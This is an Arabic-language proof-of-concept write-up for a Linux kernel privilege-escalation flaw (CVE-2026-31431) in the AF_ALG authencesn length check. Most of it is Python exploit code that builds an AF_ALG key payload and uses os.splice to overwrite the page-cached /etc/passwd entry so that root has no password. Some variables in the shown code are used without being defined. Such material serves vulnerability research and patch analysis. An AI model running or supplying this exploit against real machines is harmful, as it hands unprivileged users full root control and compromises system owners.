
إثبات مفهوم لاستغلال CVE-2026-31431، وهو تصعيد صلاحيات في نواة لينكس عبر تجاوز فحص الطول في AF_ALG authenc، مما يحقق صلاحيات الجذر عن طريق تعديل /etc/passwd.
يستغل هذا الثغرة خطأً في وظيفة التحقق من طول authencesn في لينكس، مما يؤدي إلى كتابة الصفحات المتسخة (dirty pages) إلى أماكن لا يملك المستخدم صلاحية الوصول إليها، مما يسبب تصعيد الصلاحيات
يعتمد بشكل أساسي على مبدأ الهجوم من هذا المستودع، مع بعض التعديلات على الحمولة
https://github.com/rootsecdev/cve_2026_31431
هذه الصورة توضح التصحيح (patch) الخاص بنواة لينكس 6.12.85، وسيتم تتبع هذه التصحيحات لاحقاً عند تحليل الكود
# Get /etc/passwd file info
with open("/etc/passwd", "rb") as f: # binary open
content = f.read()
idx = content.find(b"root:x") # find root:x location
x_offset = idx + 5 # Get x location
الهدف هو تغيير كلمة مرور root في /etc/passwd إلى بدون كلمة مرور (بدون التحقق عبر /etc/shadow)
# Before: root:[x:0:]0:root:/root:/bin/bash
# After root:[:0:0]0:root:/root:/bin/bash
exploit_data = b":0:0"
sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0) # Connect socket AF_ALG using sequence packet
sock.bind(("aead", ALG_NAME))
# Build the key payload
# Structure: [rtattr header (8 bytes)] + [enc_key_len (4 bytes)] + [authkey] + [enckey]
authkey, enckey = b"\x00" * 32, b"\x00" * 16
rtattr = struct.pack("HH", 8, 1)
keyparam = struct.pack(">I", len(enckey))
key = rtattr + keyparam + authkey + enckey
# Set key and accept socket
sock.setsockopt(SOL_ALG, ALG_SET_KEY, key)
op, _ = sock.accept() # open socket
# Send payload
payload = b"\x00" * 4 + string
cmsg = [
(SOL_ALG, ALG_SET_OP, struct.pack("I", 0)), # Decrypt
(SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16), # Set IV
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", 8)), # Set AAD length(8)
]
op.sendmsg([payload], cmsg, socket.MSG_MORE)
# Splice connection
# Page Cache(exploit payload) -> socket(AF_ALG) -> Data(write back) -> pwn!!!
pr, pw = os.pipe()
os.splice(fd, pw, 32, offset_src=x_offset) # copy data from Page Cache to pipe
os.splice(pr, op.fileno(), 32) # copy data from pipe to socket
try:
op.recv(64)
except OSError:
pass